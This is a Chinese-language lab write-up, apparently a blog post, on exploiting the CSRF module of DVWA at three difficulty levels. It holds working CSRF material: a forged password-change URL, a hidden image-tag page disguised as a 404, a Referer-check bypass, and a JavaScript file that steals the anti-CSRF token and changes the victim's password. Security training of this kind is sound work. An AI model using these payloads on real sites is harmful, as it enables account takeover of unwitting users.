DVWA-CSRF(跨站请求伪造)

本系列文集:DVWA学习笔记

1.png

<跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。>

CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

该模块主要实现的是一个修改密码的操作,两次输入想要修改的密码点击提交修改密码。

主要页面如下:
2.png

##Low:3.png

分析:
服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制,所以我们只需要用户在cookie还有效的时间内在相同的浏览器访问我们给定的url(该操作是服务器对请求的发送者进行了身份验证,检查cookie),就可以实现CSRF攻击,修改用户密码。

Exploit

1.构造如下链接:

http://127.0.0.1/vulnerabilities/csrf/password_new=test&password_conf=test&Change=Change#

当受害者点击了这个链接,密码就会被改成test
2.使用短链接来隐藏 URL:
为了更加隐蔽,可以生成短网址链接,点击短链接,会自动跳转到真实网站:

4.png

因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。

3.构造攻击页面:
通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。
构造的页面test.html如下:

<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>

将test.html文件放在攻击者自己准备的网站上:

5.png

当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接:
http://127.0.0.1/hack/test.html
误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为test
6.png

我们将访问test.html时的数据包抓下来:可以很清楚的看到密码已经被修改

7.png

##Medium:
8.png

stripos(string,find,start):函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。

eregi(string pattern, string string):检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
PHP超全局变量$_SERVER中的两个值:

$_SERVER['HTTP_REFERER']:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。

$_SERVER['SERVER_NAME']:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。

分析:
Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是127.0.0.1),希望通过这种机制抵御CSRF攻击。一开始就调用eregi()函数来判断HTTP头的referer字段里是不是包含“127.0.0.1”字符串,即发送请求的是不是本机,如果是则继续后面代码的执行。

Exploit
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是127.0.0.1)
我们可以将攻击页面命名为127.0.0.1.html(页面被放置在攻击者的服务器里)就可以绕过了

9.png
我们还是按照之前的操作,先诱惑受害者点击http://127.0.0.1/test.html,抓包,并发送到Repeater中:
10.png

执行失败,出现:That request didn’t look correct.
此时让受害者访问127.0.0.1.html文件,即在Repeater中修改HTTP数据包中的Referer参数为:

11.png
成功修改了密码:
12.png

##High:

13.png

分析:
High 的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

Exploit

要绕过High 的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。Cookie,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成 CSRF 攻击,下面是代码。
xss.js:

alert(document.cookie);
var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
	if(window.XMLHttpRequest) {
		xmlhttp = new XMLHttpRequest();
	}else{
		xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
	}
var count = 0;
	xmlhttp.withCredentials = true;
	xmlhttp.onreadystatechange=function(){
		if(xmlhttp.readyState ==4 && xmlhttp.status==200)
		{
			var text = xmlhttp.responseText;
			var regex = /user_token\' value\=\'(.*?)\' \/\>/;
			var match = text.match(regex);
			console.log(match);
			alert(match[1]);
				var token = match[1];
					var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
					if(count==0){
						count++;
						xmlhttp.open("GET",new_url,false);
						xmlhttp.send();
					}
					

		}
	};
	xmlhttp.open("GET",theUrl,false);
	xmlhttp.send();

xss.js放置于攻击者的网站上:http://127.0.0.1/xss.js

攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值